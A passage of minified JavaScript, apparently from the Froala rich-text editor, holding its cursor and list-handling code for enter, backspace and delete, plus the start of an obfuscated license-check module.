o?C(t).after("<".concat(o,">").concat(g,"</").concat(o,">")):C(t).after(g);C(n).remove()}else(t=y(n)).parentNode&&"LI"===t.parentNode.tagName?r?C(t.parentNode).before("".concat(b.node.openTagString(n)+kt.MARKERS,"<br></li>")):C(t.parentNode).after("".concat(b.node.openTagString(n)+kt.MARKERS,"<br></li>")):o?C(t).before("<".concat(o,">").concat(kt.MARKERS,"<br></").concat(o,">")):C(t).before("".concat(kt.MARKERS,"<br>")),C(n).remove()},_middleEnter:function c(e){for(var t=E(e),n="",r=e,a="",o="",i=!1;r!==t;){var s="A"===(r=r.parentNode).tagName&&b.cursor.isAtEnd(e,r)?"fr-to-remove":"";i||r==t||b.node.isBlock(r)||(i=!0,a+=kt.INVISIBLE_SPACE),a=b.node.openTagString(C(r).clone().addClass(s).get(0))+a,o+=b.node.closeTagString(r)}n=o+n+a+kt.MARKERS+(b.opts.keepFormatOnDelete?kt.INVISIBLE_SPACE:""),C(e).replaceWith('<span id="fr-break"></span>');var l=b.node.openTagString(t)+C(t).html()+b.node.closeTagString(t);l=l.replace(/<span id="fr-break"><\/span>/g,n),C(t).replaceWith(l)},_endEnter:function l(e){for(var t=E(e),n=kt.MARKERS,r="",a=e,o=!1;a!==t;)if(!(a=a.parentNode).classList.contains("fr-img-space-wrap")&&!a.classList.contains("fr-img-space-wrap2")){var i="A"===a.tagName&&b.cursor.isAtEnd(e,a)?"fr-to-remove":"";o||a===t||b.node.isBlock(a)||(o=!0,r+=kt.INVISIBLE_SPACE),r=b.node.openTagString(C(a).clone().addClass(i).get(0))+r,n+=b.node.closeTagString(a)}var s=r+n;C(e).remove(),C(t).after(s)},_backspace:function d(e){var t=E(e),n=t.previousSibling;if(n){n=C(n).find(b.html.blockTagsQuery()).get(-1)||n,C(e).replaceWith(kt.MARKERS);var r=b.node.contents(n);r.length&&"BR"===r[r.length-1].tagName&&C(r[r.length-1]).remove(),C(t).find(b.html.blockTagsQuery()).not("ol, ul, table").each(function(){this.parentNode===t&&C(this).replaceWith(C(this).html()+(b.node.isEmpty(this)?"":"<br>"))});for(var a,o=b.node.contents(t)[0];o&&!b.node.isList(o);)a=o.nextSibling,C(n).append(o),o=a;for(n=t.previousSibling;o;)a=o.nextSibling,C(n).append(o),o=a;1<(r=b.node.contents(n)).length&&"BR"===r[r.length-1].tagName&&C(r[r.length-1]).remove(),C(t).remove()}else{var i=y(t);if(C(e).replaceWith(kt.MARKERS),i.parentNode&&"LI"===i.parentNode.tagName){var s=i.previousSibling;b.node.isBlock(s)?(C(t).find(b.html.blockTagsQuery()).not("ol, ul, table").each(function(){this.parentNode===t&&C(this).replaceWith(C(this).html()+(b.node.isEmpty(this)?"":"<br>"))}),C(s).append(C(t).html())):C(i).before(C(t).html())}else{var l=b.html.defaultTag();l&&0===C(t).find(b.html.blockTagsQuery()).length?C(i).before("<".concat(l,">").concat(C(t).html(),"</").concat(l,">")):C(i).before(C(t).html())}C(t).remove(),b.html.wrap(),0===C(i).find("li").length&&C(i).remove()}},_del:function f(e){var t,n=E(e),r=n.nextSibling;if(r){(t=b.node.contents(r)).length&&"BR"===t[0].tagName&&C(t[0]).remove(),C(r).find(b.html.blockTagsQuery()).not("ol, ul, table").each(function(){this.parentNode===r&&C(this).replaceWith(C(this).html()+(b.node.isEmpty(this)?"":"<br>"))});for(var a,o=e,i=b.node.contents(r)[0];i&&!b.node.isList(i);)a=i.nextSibling,C(o).after(i),o=i,i=a;for(;i;)a=i.nextSibling,C(n).append(i),i=a;C(e).replaceWith(kt.MARKERS),C(r).remove()}else{for(var s=n;!s.nextSibling&&s!==b.el;)s=s.parentNode;if(s===b.el)return!1;if(s=s.nextSibling,b.node.isBlock(s)){if(kt.NO_DELETE_TAGS.indexOf(s.tagName)<0){if(C(e).replaceWith(kt.MARKERS),(t=b.node.contents(n)).length&&"BR"===t[t.length-1].tagName&&C(t[t.length-1]).remove(),s.isContentEditable&&"DIV"===s.tagName&&(!b.node.isBlock(s.previousSibling)||"DIV"===s.previousSibling.tagName))return;C(n).append(C(s).html()),C(s).remove()}}else{for((t=b.node.contents(n)).length&&"BR"===t[t.length-1].tagName&&C(t[t.length-1]).remove(),C(e).replaceWith(kt.MARKERS);s&&!b.node.isBlock(s)&&"BR"!==s.tagName;)C(n).append(C(s)),s=s.nextSibling;C(s).remove()}}}}},kt.NO_DELETE_TAGS=["TH","TD","TR","TABLE","FORM"],kt.SIMPLE_ENTER_TAGS=["TH","TD","LI","DL","DT","FORM"],kt.MODULES.cursor=function(m){var v=m.$;function u(e){return!!e&&(m.node.isBlock(e)?"P"!==e.tagName||!e.nextElementSibling||!e.parentElement||"OL"!==e.nextElementSibling.tagName||"LI"!==e.parentElement.tagName:e.nextSibling&&e.nextSibling.nodeType===Node.TEXT_NODE&&0===e.nextSibling.textContent.replace(/\u200b/g,"").length?u(e.nextSibling):!(e.nextSibling&&(!e.previousSibling||"BR"!==e.nextSibling.tagName||e.nextSibling.nextSibling))&&u(e.parentNode))}function h(e){return!!e&&(!!m.node.isBlock(e)||(e.previousSibling&&e.previousSibling.nodeType===Node.TEXT_NODE&&0===e.previousSibling.textContent.replace(/\u200b/g,"").length?h(e.previousSibling):!e.previousSibling&&(!(e.previousSibling||!m.node.hasClass(e.parentNode,"fr-inner"))||h(e.parentNode))))}function g(e,t){return!!e&&(e!==m.$wp.get(0)&&(e.previousSibling&&e.previousSibling.nodeType===Node.TEXT_NODE&&0===e.previousSibling.textContent.replace(/\u200b/g,"").length?g(e.previousSibling,t):!e.previousSibling&&(e.parentNode===t||g(e.parentNode,t))))}function b(e,t){return!!e&&(e!==m.$wp.get(0)&&(e.nextSibling&&e.nextSibling.nodeType===Node.TEXT_NODE&&0===e.nextSibling.textContent.replace(/\u200b/g,"").length?b(e.nextSibling,t):!(e.nextSibling&&(!e.previousSibling||"BR"!==e.nextSibling.tagName||e.nextSibling.nextSibling))&&(e.parentNode===t||b(e.parentNode,t))))}function C(e){return 0<v(e).parentsUntil(m.$el,"LI").length&&0===v(e).parentsUntil("LI","TABLE").length}function E(e,t){var n=new RegExp("".concat(t?"^":"","(([\\uD83C-\\uDBFF\\uDC00-\\uDFFF]+\\u200D)*[\\uD83C-\\uDBFF\\uDC00-\\uDFFF]{2})").concat(t?"":"$"),"i"),r=e.match(n);return r?r[0].length:1}function y(e){for(var t,n=e;!n.previousSibling;)if(n=n.parentNode,m.node.isElement(n))return!1;n=n.previousSibling;var r=m.opts.htmlAllowedEmptyTags,a=n.tagName&&n.tagName.toLowerCase();if((!m.node.isBlock(n)||n.lastChild&&a&&0<=r.indexOf(a))&&m.node.isEditable(n)){for(t=m.node.contents(n);n.nodeType!==Node.TEXT_NODE&&!m.node.isDeletable(n)&&t.length&&m.node.isEditable(n);)n=t[t.length-1],t=m.node.contents(n);if(n.nodeType===Node.TEXT_NODE){var o=n.textContent,i=o.length;if(o.length&&"\n"===o[o.length-1])return n.textContent=o.substring(0,i-2),0===n.textContent.length&&n.parentNode.removeChild(n),y(e);if(m.opts.tabSpaces&&o.length>=m.opts.tabSpaces||m.opts.preserveTabSpaces&&4<=o.length){var s=m.opts.tabSpaces?m.opts.tabSpaces:4;0===o.substr(o.length-s,o.length-1).replace(/ /g,"").replace(new RegExp(kt.UNICODE_NBSP,"g"),"").length&&(i=o.length-s+1)}n.textContent=o.substring(0,i-E(o));var l=n.textContent;(m.opts.enter===kt.ENTER_BR&&0<l.length&&" "===l.charAt(l.length-1)||0===l.length&&e.previousSibling&&3===e.previousSibling.nodeType&&"TD"!==e.parentNode.tagName&&"LI"!==e.parentNode.tagName&&o!==String.fromCharCode(8203))&&(e.insertAdjacentHTML("beforebegin",kt.INVISIBLE_SPACE),n=n.nextSibling),m.opts.trackChangesEnabled&&0===n.textContent.length&&v(n.parentElement).data("tracking")&&0===v(n.parentElement).find("[data-tracking-deleted=true]").length&&(v(e).insertBefore(n.parentElement),v(n.parentElement).remove(),n=v(e)[0].previousSibling),m.opts.htmlUntouched&&!e.nextSibling&&n.textContent.length&&" "===n.textContent[n.textContent.length-1]&&(n.textContent=n.textContent.substring(0,n.textContent.length-1)+kt.UNICODE_NBSP);var c=o.length!==n.textContent.length;if(m.opts.enter!==kt.ENTER_BR&&n&&n.previousSibling&&n.previousSibling.previousSibling&&"BR"===n.previousSibling.previousSibling.tagName&&0===n.textContent.length&&n.previousSibling.previousSibling.remove(),0===n.textContent.length&&"LI"===n.parentNode.tagName&&n.previousSibling&&"BR"===n.previousSibling.tagName&&n.previousSibling.remove(),0===n.textContent.length)if(c&&m.opts.keepFormatOnDelete)v(n).after(kt.INVISIBLE_SPACE+kt.MARKERS);else if(0!==o.length&&m.node.isBlock(n.parentNode))v(n).after(kt.MARKERS);else if((2!=n.parentNode.childNodes.length||n.parentNode!=e.parentNode)&&1!=n.parentNode.childNodes.length||m.node.isBlock(n.parentNode)||m.node.isElement(n.parentNode)||!m.node.isDeletable(n.parentNode)){for(var d,f=n;!m.node.isElement(n.parentNode)&&m.node.isEmpty(n.parentNode)&&kt.NO_DELETE_TAGS.indexOf(n.parentNode.tagName)<0;)if("A"===(n=n.parentNode).tagName){var p=n.childNodes[0];for(v(n).before(p),d=!0;0<p.childNodes.length;)p=p.childNodes[0];n.parentNode.removeChild(n),n=p;break}d||(n=f),v(n).after(kt.MARKERS),m.node.isElement(n.parentNode)&&!e.nextSibling&&n.previousSibling&&"BR"===n.previousSibling.tagName&&v(e).after("<br>");var u=n.parentNode;n.parentNode.removeChild(n),m.node.isEmpty(u)&&v(u).html(kt.INVISIBLE_SPACE+kt.MARKERS)}else v(n.parentNode).after(kt.MARKERS),v(n.parentNode).remove();else v(n).after(kt.MARKERS)}else m.node.isDeletable(n)?(v(n).after(kt.MARKERS),v(n).remove()):e.nextSibling&&"BR"===e.nextSibling.tagName&&m.node.isVoid(n)&&"BR"!==n.tagName?(v(e.nextSibling).remove(),v(e).replaceWith(kt.MARKERS)):!1!==m.events.trigger("node.remove",[v(n)])&&(v(n).after(kt.MARKERS),v(n).remove())}else if(kt.NO_DELETE_TAGS.indexOf(n.tagName)<0&&(m.node.isEditable(n)||m.node.isDeletable(n)))if(m.node.isDeletable(n))v(e).replaceWith(kt.MARKERS),v(n).remove();else if(m.node.isEmpty(n)&&!m.node.isList(n))v(n).remove(),v(e).replaceWith(kt.MARKERS);else{for(m.node.isList(n)&&(n=v(n).find("li").last().get(0)),(t=m.node.contents(n))&&0<t.length&&"BR"===t[t.length-1].tagName&&v(t[t.length-1]).remove(),t=m.node.contents(n);t&&0<t.length&&m.node.isBlock(t[t.length-1]);)n=t[t.length-1],t=m.node.contents(n);v(n).append(kt.MARKERS);for(var h=e;!h.previousSibling;)h=h.parentNode;for(;h&&"BR"!==h.tagName&&!m.node.isBlock(h);){var g=h;h=h.nextSibling,v(n).append(g)}h&&"BR"===h.tagName&&v(h).remove(),v(e).remove()}else e.nextSibling&&"BR"===e.nextSibling.tagName&&v(e.nextSibling).remove();return!0}function o(e){var t=0<v(e).parentsUntil(m.$el,"BLOCKQUOTE").length,n=m.node.deepestParent(e,[],!t);if(n&&"BLOCKQUOTE"===n.tagName){var r=m.node.deepestParent(e,[v(e).parentsUntil(m.$el,"BLOCKQUOTE").get(0)]);r&&r.nextSibling&&(n=r)}if(null!==n){var a,o=n.nextSibling;if(m.node.isBlock(n)&&(m.node.isEditable(n)||m.node.isDeletable(n))&&o&&kt.NO_DELETE_TAGS.indexOf(o.tagName)<0)if(m.node.isDeletable(o))v(o).remove(),v(e).replaceWith(kt.MARKERS);else if(m.node.isBlock(o)&&m.node.isEditable(o))if(m.node.isList(o))if(m.node.isEmpty(n,!0))v(n).remove(),v(o).find("li").first().prepend(kt.MARKERS);else{var i=v(o).find("li").first();"BLOCKQUOTE"===n.tagName&&(a=m.node.contents(n)).length&&m.node.isBlock(a[a.length-1])&&(n=a[a.length-1]),0===i.find("ul, ol").length&&(v(e).replaceWith(kt.MARKERS),i.find(m.html.blockTagsQuery()).not("ol, ul, table").each(function(){this.parentNode===i.get(0)&&v(this).replaceWith(v(this).html()+(m.node.isEmpty(this)?"":"<br>"))}),v(n).append(m.node.contents(i.get(0))),i.remove(),0===v(o).find("li").length&&v(o).remove())}else{if((a=m.node.contents(o)).length&&"BR"===a[0].tagName&&v(a[0]).remove(),"BLOCKQUOTE"!==o.tagName&&"BLOCKQUOTE"===n.tagName)for(a=m.node.contents(n);a.length&&m.node.isBlock(a[a.length-1]);)n=a[a.length-1],a=m.node.contents(n);else if("BLOCKQUOTE"===o.tagName&&"BLOCKQUOTE"!==n.tagName)for(a=m.node.contents(o);a.length&&m.node.isBlock(a[0]);)o=a[0],a=m.node.contents(o);v(e).replaceWith(kt.MARKERS),v(n).append(o.innerHTML),v(o).remove()}else{for(v(e).replaceWith(kt.MARKERS);o&&"BR"!==o.tagName&&!m.node.isBlock(o)&&m.node.isEditable(o);){var s=o;o=o.nextSibling,v(n).append(s)}o&&"BR"===o.tagName&&m.node.isEditable(o)&&v(o).remove()}}}function n(e){for(var t,n=e;!n.nextSibling;)if(n=n.parentNode,m.node.isElement(n))return!1;if("BR"===(n=n.nextSibling).tagName&&m.node.isEditable(n))if(n.nextSibling){if(m.node.isBlock(n.nextSibling)&&m.node.isEditable(n.nextSibling)){if(!(kt.NO_DELETE_TAGS.indexOf(n.nextSibling.tagName)<0))return void v(n).remove();n=n.nextSibling,v(n.previousSibling).remove()}}else if(u(n)){if(C(e))m.cursorLists._del(e);else m.node.deepestParent(n)&&((!m.node.isEmpty(m.node.blockParent(n))||(m.node.blockParent(n).nextSibling&&kt.NO_DELETE_TAGS.indexOf(m.node.blockParent(n).nextSibling.tagName))<0)&&v(n).remove(),n&&n.parentNode&&8203===n.parentNode.textContent.charCodeAt()&&n.parentNode.childNodes[1]&&"BR"===n.parentNode.childNodes[1].tagName&&n.parentNode.tagName.toLowerCase()===m.html.defaultTag()&&n.parentNode.nextSibling&&"TABLE"===n.parentNode.nextSibling.tagName&&v(n.parentNode).remove(),o(e));return}if(!m.node.isBlock(n)&&m.node.isEditable(n)){for(t=m.node.contents(n);n.nodeType!==Node.TEXT_NODE&&t.length&&!m.node.isDeletable(n)&&m.node.isEditable(n);)n=t[0],t=m.node.contents(n);n.nodeType===Node.TEXT_NODE?(v(n).before(kt.MARKERS),n.textContent.length&&(n.textContent=n.textContent.substring(E(n.textContent,!0),n.textContent.length))):m.node.isDeletable(n)?(v(n).before(kt.MARKERS),v(n).remove()):!1!==m.events.trigger("node.remove",[v(n)])&&(v(n).before(kt.MARKERS),v(n).remove()),v(e).remove()}else if(kt.NO_DELETE_TAGS.indexOf(n.tagName)<0&&(m.node.isEditable(n)||m.node.isDeletable(n)))if(m.node.isDeletable(n))v(e).replaceWith(kt.MARKERS),v(n).remove();else if(m.node.isList(n))e.previousSibling?(v(n).find("li").first().prepend(e),m.cursorLists._backspace(e)):(v(n).find("li").first().prepend(kt.MARKERS),v(e).remove());else if((t=m.node.contents(n))&&0<t.length&&"BR"===t[0].tagName&&v(t[0]).remove(),t&&0<t.length&&"BLOCKQUOTE"===n.tagName){var r=t[0];for(v(e).before(kt.MARKERS);r&&"BR"!==r.tagName;){var a=r;r=r.nextSibling,v(e).before(a)}r&&"BR"===r.tagName&&v(r).remove()}else v(e).after(v(n).html()).after(kt.MARKERS),v(n).remove()}function i(){for(var e=m.el.querySelectorAll("blockquote:empty"),t=0;t<e.length;t++)e[t].parentNode.removeChild(e[t])}function L(e,t,n){var r,a=m.node.deepestParent(e,[],!n);if(a&&"BLOCKQUOTE"===a.tagName)return b(e,a)?(r=m.html.defaultTag(),t?v(e).replaceWith("<br>"+kt.MARKERS):r?v(a).after("<".concat(r,">").concat(kt.MARKERS,"<br></").concat(r,">")):v(a).after("".concat(kt.MARKERS,"<br>")),v(e).remove()):T(e,t,n),!1;if(null===a)(r=m.html.defaultTag())&&m.node.isElement(e.parentNode)?v(e).replaceWith("<".concat(r,">").concat(kt.MARKERS,"<br></").concat(r,">")):!e.previousSibling||v(e.previousSibling).is("br")||e.nextSibling?v(e).replaceWith("<br>".concat(kt.MARKERS)):v(e).replaceWith("<br>".concat(kt.MARKERS,"<br>"));else{var o=e,i="";"PRE"!=a.tagName||e.nextSibling||(t=!0),m.node.isBlock(a)&&!t||(i="<br/>");var s,l="",c="",d="",f="";(r=m.html.defaultTag())&&m.node.isBlock(a)&&(d="<".concat(r,">"),f="</".concat(r,">"),a.tagName===r.toUpperCase()&&(d=m.node.openTagString(v(a).clone().removeAttr("id").get(0))));do{if(o=o.parentNode,!t||o!==a||t&&!m.node.isBlock(a))if(l+=m.node.closeTagString(o),o===a&&m.node.isBlock(a))c=d+c;else{var p=("A"===o.tagName||m.node.hasClass(o,"fa"))&&b(e,o)?"fr-to-remove":"";c="isPasted"===o.getAttribute("id")?m.node.openTagString(v(o).clone().attr("style","").addClass(p).get(0))+c:m.node.openTagString(v(o).clone().addClass(p).get(0))+c}}while(o!==a);i=l+i+c+(e.parentNode===a&&m.node.isBlock(a)?"":kt.INVISIBLE_SPACE)+kt.MARKERS,m.node.isBlock(a)&&!v(a).find("*").last().is("br")&&v(a).append("<br/>"),v(e).after('<span id="fr-break"></span>'),v(e).remove(),a.nextSibling&&!m.node.isBlock(a.nextSibling)||m.node.isBlock(a)||v(a).after("<br>"),s=(s=!t&&m.node.isBlock(a)?m.node.openTagString(a)+v(a).html()+f:m.node.openTagString(a)+v(a).html()+m.node.closeTagString(a)).replace(/<span id="fr-break"><\/span>/g,i),v(a).replaceWith(s)}}function T(e,t,n){var r=m.node.deepestParent(e,[],!n);if(null===r)m.html.defaultTag()&&e.parentNode===m.el?v(e).replaceWith("<".concat(m.html.defaultTag(),">").concat(kt.MARKERS,"<br></").concat(m.html.defaultTag(),">")):(e.nextSibling&&!m.node.isBlock(e.nextSibling)||v(e).after("<br>"),v(e).replaceWith("<br>".concat(kt.MARKERS)));else if(e.previousSibling&&"IMG"==e.previousSibling.tagName||e.nextSibling&&"IMG"==e.nextSibling.tagName)v(e).replaceWith("<"+m.html.defaultTag()+">"+kt.MARKERS+"<br></"+m.html.defaultTag()+">");else{var a=e,o="";"PRE"===r.tagName&&(t=!0),m.node.isBlock(r)&&!t||(o="<br>");var i="",s="";do{var l=a;if(a=a.parentNode,"BLOCKQUOTE"===r.tagName&&m.node.isEmpty(l)&&!m.node.hasClass(l,"fr-marker")&&v(l).contains(e)&&v(l).after(e),"BLOCKQUOTE"!==r.tagName||!b(e,a)&&!g(e,a))if(!t||a!==r||t&&!m.node.isBlock(r)){i+=m.node.closeTagString(a);var c="A"==a.tagName&&b(e,a)||m.node.hasClass(a,"fa")?"fr-to-remove":"";s=m.node.openTagString(v(a).clone().addClass(c).removeAttr("id").get(0))+s,m.opts.enter!==kt.ENTER_DIV&&a===r&&"DIV"===r.tagName&&(i="<br>",s="")}else"BLOCKQUOTE"==r.tagName&&t&&(s=i="")}while(a!==r);var d=r===e.parentNode&&m.node.isBlock(r)||e.nextSibling;if("BLOCKQUOTE"===r.tagName)if(e.previousSibling&&m.node.isBlock(e.previousSibling)&&e.nextSibling&&"BR"===e.nextSibling.tagName&&(v(e.nextSibling).after(e),e.nextSibling&&"BR"===e.nextSibling.tagName&&v(e.nextSibling).remove()),t)o=i+o+kt.MARKERS+s;else{var f=m.html.defaultTag();o="".concat(i+o+(f?"<".concat(f,">"):"")+kt.MARKERS,"<br>").concat(f?"</".concat(f,">"):"").concat(s)}else o=i+o+s+(d?"":kt.INVISIBLE_SPACE)+kt.MARKERS;v(e).replaceWith('<span id="fr-break"></span>');var p=m.node.openTagString(r)+v(r).html()+m.node.closeTagString(r);p=p.replace(/<span id="fr-break"><\/span>/g,o),v(r).replaceWith(p)}}function w(e){var t=e.getBoundingClientRect(),n=window.pageXOffset||document.documentElement.scrollLeft,r=window.pageYOffset||document.documentElement.scrollTop;return m.opts.iframe?{top:t.top+m.$wp.offset().top,left:t.left+n}:{top:t.top+r,left:t.left+n}}function A(){var e=m.selection.get(),t=null;if(m.selection.inEditor()&&e.rangeCount)for(var n=m.selection.ranges(),r=0;r<n.length;r++){var a=n[r];t=m.selection.rangeElement(a.startContainer,a.startOffset);break}return t}return{enter:function _(e){var t=m.markers.insert();if(!t)return!0;for(var n=t.parentNode;n&&!m.node.isElement(n);){if("false"===n.getAttribute("contenteditable"))return v(t).replaceWith(kt.MARKERS),m.selection.restore(),!1;if("true"===n.getAttribute("contenteditable"))break;n=n.parentNode}m.el.normalize();var r=!1;0<v(t).parentsUntil(m.$el,"BLOCKQUOTE").length&&(r=!0),v(t).parentsUntil(m.$el,"TD, TH").length&&(r=!1),u(t)?!C(t)||e||r?L(t,e,r):m.cursorLists._endEnter(t):h(t)?!C(t)||e||r?function f(e,t,n){var r,a=m.node.deepestParent(e,[],!n);if(a&&"TABLE"===a.tagName)return v(a).find("td, th").first().prepend(e),f(e,t,n);if(a&&"BLOCKQUOTE"===a.tagName)if(g(e,a)){if(!t)return(r=m.html.defaultTag())?v(a).before("<".concat(r,">").concat(kt.MARKERS,"<br></").concat(r,">")):v(a).before("".concat(kt.MARKERS,"<br>")),v(e).remove(),!1}else b(e,a)?L(e,t,!0):T(e,t,!0);if(null===a)(r=m.html.defaultTag())&&m.node.isElement(e.parentNode)?v(e).replaceWith("<".concat(r,">").concat(kt.MARKERS,"<br></").concat(r,">")):v(e).replaceWith("<br>".concat(kt.MARKERS));else{if(r=m.html.defaultTag(),m.node.isBlock(a))if("PRE"===a.tagName&&(t=!0),t)v(e).remove(),v(a).prepend("<br>".concat(kt.MARKERS));else if(e.nextSibling&&"IMG"==e.nextSibling.tagName||e.nextSibling&&e.nextSibling.nextElementSibling&&"IMG"==e.nextSibling.nextElementSibling)v(e).replaceWith("<"+m.html.defaultTag()+">"+kt.MARKERS+"<br></"+m.html.defaultTag()+">");else{if(m.node.isEmpty(a,!0))return L(e,t,n);if(m.opts.keepFormatOnDelete||"DIV"===a.tagName||"div"===m.html.defaultTag())if(!m.opts.keepFormatOnDelete&&"DIV"===a.tagName||"div"===m.html.defaultTag())v(a).before("<"+m.html.defaultTag()+"><br></"+m.html.defaultTag()+">");else if(m.opts.keepFormatOnDelete&&!m.opts.htmlUntouched&&"DIV"!==a.tagName&&"div"!==m.html.defaultTag()&&h(m.selection.get().focusNode))v(a).before("".concat(m.node.openTagString(v(a).clone().removeAttr("id").get(0)),"<br>").concat(m.node.closeTagString(a)));else{for(var o=e,i=kt.INVISIBLE_SPACE;o!==a&&!m.node.isElement(o);)o=o.parentNode,i=m.node.openTagString(o)+i+m.node.closeTagString(o);v(a).before(i)}else v(a).before("".concat(m.node.openTagString(v(a).clone().removeAttr("id").get(0)),"<br>").concat(m.node.closeTagString(a)))}else v(a).before("<br>");v(e).remove()}}(t,e,r):m.cursorLists._startEnter(t):!C(t)||e||r?T(t,e,r):m.cursorLists._middleEnter(t),function p(){m.$el.find(".fr-to-remove").each(function(){for(var e=m.node.contents(this),t=0;t<e.length;t++)e[t].nodeType===Node.TEXT_NODE&&(e[t].textContent=e[t].textContent.replace(/\u200B/g,""));v(this).replaceWith(this.innerHTML)})}(),m.html.fillEmptyBlocks(!0),m.opts.htmlUntouched||(m.html.cleanEmptyTags(),m.clean.lists(),m.spaces.normalizeAroundCursor()),m.selection.restore();var a=m.o_win.innerHeight;if(m.$oel[0].offsetHeight>a){var o=A();if(o){var i=w(o);i=i.top;var s=o.getBoundingClientRect().top;m.opts.iframe&&(s=s+m.$wp.offset().top-m.helpers.scrollTop()),m.opts.scrollableContainer&&m.opts.enter!==kt.ENTER_BR&&"BR"===o.tagName&&s+20===a&&(s=i=o.parentNode.offsetTop),o.parentNode&&"TD"===o.parentNode.tagName&&a<s?m.o_win.scroll(0,s-50):"BR"===o.tagName&&s<0?m.o_win.scroll(0,i-80):m.opts.scrollableContainer&&a<s+20?m.o_win.scroll(0,i-a+50):m.opts.scrollableContainer&&s+2*m.$tb.height()>m.$sc[0].scrollTop+v(m.$sc).height()&&m.$sc[0].scroll(0,i-v(m.$sc).height()+2*m.$tb.height())}}else if(m.opts.scrollableContainer&&m.opts.toolbarSticky){var l=A();if(l){var c=w(l);c=c.top;var d=l.getBoundingClientRect().top;m.opts.enter!==kt.ENTER_BR&&"BR"===l.tagName&&(d=c=l.parentNode.offsetTop),(m.opts.iframe&&d+2*m.$tb.height()>m.$sc[0].scrollTop+v(m.$sc).height()||d+2*m.$tb.height()>v(m.$sc).height())&&m.$sc[0].scroll(0,c-v(m.$sc).height()+2*m.$tb.height())}}},backspace:function s(){var e=!1,t=m.markers.insert();if(!t)return!0;for(var n=t.parentNode;n&&!m.node.isElement(n);){if("false"===n.getAttribute("contenteditable"))return v(t).replaceWith(kt.MARKERS),m.selection.restore(),!1;if(n.innerText.length&&"true"===n.getAttribute("contenteditable"))break;n=n.parentNode}m.el.normalize();var r=t.previousSibling;if(r){var a=r.textContent;a&&a.length&&8203===a.charCodeAt(a.length-1)&&(1===a.length?v(r).remove():r.textContent=r.textContent.substr(0,a.length-E(a)))}return u(t)?C(t)&&g(t,v(t).parents("li").first().get(0))?m.cursorLists._backspace(t):e=y(t):h(t)?C(t)&&g(t,v(t).parents("li").first().get(0))?m.cursorLists._backspace(t):function c(e){for(var t=0<v(e).parentsUntil(m.$el,"BLOCKQUOTE").length,n=m.node.deepestParent(e,[],!t),r=n;n&&!n.previousSibling&&"BLOCKQUOTE"!==n.tagName&&n.parentElement!==m.el&&!m.node.hasClass(n.parentElement,"fr-inner")&&kt.SIMPLE_ENTER_TAGS.indexOf(n.parentElement.tagName)<0;)n=n.parentElement;if(n&&"BLOCKQUOTE"===n.tagName){var a=m.node.deepestParent(e,[v(e).parentsUntil(m.$el,"BLOCKQUOTE").get(0)]);a&&a.previousSibling&&(r=n=a)}if(null!==n){var o,i=n.previousSibling;if(m.node.isBlock(n)&&m.node.isEditable(n))if(i&&kt.NO_DELETE_TAGS.indexOf(i.tagName)<0){if(m.node.isDeletable(i))v(i).remove(),v(e).replaceWith(kt.MARKERS);else if(m.node.isEditable(i))if(m.node.isBlock(i))if(m.node.isEmpty(i)&&!m.node.isList(i))v(i).remove(),v(e).after(m.opts.keepFormatOnDelete?kt.INVISIBLE_SPACE:"");else{if(m.node.isList(i)&&(i=v(i).find("li").last().get(0)),(o=m.node.contents(i)).length&&"BR"===o[o.length-1].tagName&&v(o[o.length-1]).remove(),"BLOCKQUOTE"===i.tagName&&"BLOCKQUOTE"!==n.tagName)for(o=m.node.contents(i);o.length&&m.node.isBlock(o[o.length-1]);)i=o[o.length-1],o=m.node.contents(i);else if("BLOCKQUOTE"!==i.tagName&&"BLOCKQUOTE"===r.tagName)for(o=m.node.contents(r);o.length&&m.node.isBlock(o[0]);)r=o[0],o=m.node.contents(r);if(m.node.isEmpty(n))v(e).remove(),m.selection.setAtEnd(i,!0);else{v(e).replaceWith(kt.MARKERS);var s=i.childNodes;m.node.isBlock(s[s.length-1])?v(s[s.length-1]).append(r.innerHTML):v(i).append(r.innerHTML)}v(r).remove(),m.node.isEmpty(n)&&v(n).remove()}else v(e).replaceWith(kt.MARKERS),"BLOCKQUOTE"===n.tagName&&i.nodeType===Node.ELEMENT_NODE?v(i).remove():(v(i).after(m.node.isEmpty(n)?"":v(n).html()),v(n).remove(),"BR"===i.tagName&&v(i).remove())}else if(i)8203===n.textContent.charCodeAt()&&n.childNodes[1]&&"BR"===n.childNodes[1].tagName&&n.tagName.toLowerCase()===m.html.defaultTag()&&n.previousSibling&&"TABLE"===n.previousSibling.tagName&&v(n).remove();else if(n&&"BLOCKQUOTE"===n.tagName&&0===v(n).text().replace(/\u200B/g,"").length)v(n).remove();else{var l=n.nextSibling;m.node.isEmpty(n)&&n.parentNode&&m.node.isEditable(n.parentNode)&&!l&&(n.parentNode!=m.el&&"TD"!==n.parentNode.tagName?v(n.parentNode).remove():n.parentNode!=m.el&&"TD"===n.parentNode.tagName&&v(n).remove())}}}(t):e=y(t),v(t).remove(),i(),m.html.fillEmptyBlocks(!0),m.opts.htmlUntouched||(m.html.cleanEmptyTags(),m.clean.lists(),m.spaces.normalizeAroundCursor()),m.selection.restore(),e},del:function r(){var e=m.markers.insert();if(!e)return!1;if(m.el.normalize(),u(e))if(C(e))if(0===v(e).parents("li").first().find("ul, ol").length)m.cursorLists._del(e);else{var t=v(e).parents("li").first().find("ul, ol").first().find("li").first();(t=t.find(m.html.blockTagsQuery()).get(-1)||t).prepend(e),m.cursorLists._backspace(e)}else o(e);else h(e),n(e);v(e).remove(),i(),m.html.fillEmptyBlocks(!0),m.opts.htmlUntouched||(m.html.cleanEmptyTags(),m.clean.lists()),m.spaces.normalizeAroundCursor(),m.selection.restore()},isAtEnd:b,isAtStart:g}},kt.MODULES.data=function(f){function p(e){return e}function c(e){for(var t=e.toString(),n=0,r=0;r<t.length;r++)n+=parseInt(t.charAt(r),10);return 10<n?n%9+1:n}function d(e,t,n){for(var r=Math.abs(n);0<r--;)e-=t;return n<0&&(e+=123),e}function u(e){return e&&"block"!==e.css("display")?(e.remove(),!0):e&&0===f.helpers.getPX(e.css("height"))?(e.remove(),!0):!(!e||"absolute"!==e.css("position")&&"fixed"!==e.css("position")||(e.remove(),0))}function h(e){return e&&0===f.$box.find(e).length}function g(){if(10<e&&(f[p(_("0ppecjvc=="))](),setTimeout(function(){E.FE=null},10)),!f.$box)return!1;f.$wp.prepend(_(p(_(w)))),b=f.$wp.find("> div").first(),C=b.find("> a"),"rtl"===f.opts.direction&&b.css("left","auto").css("right",0).attr("direction","rtl"),e++}function m(e){for(var 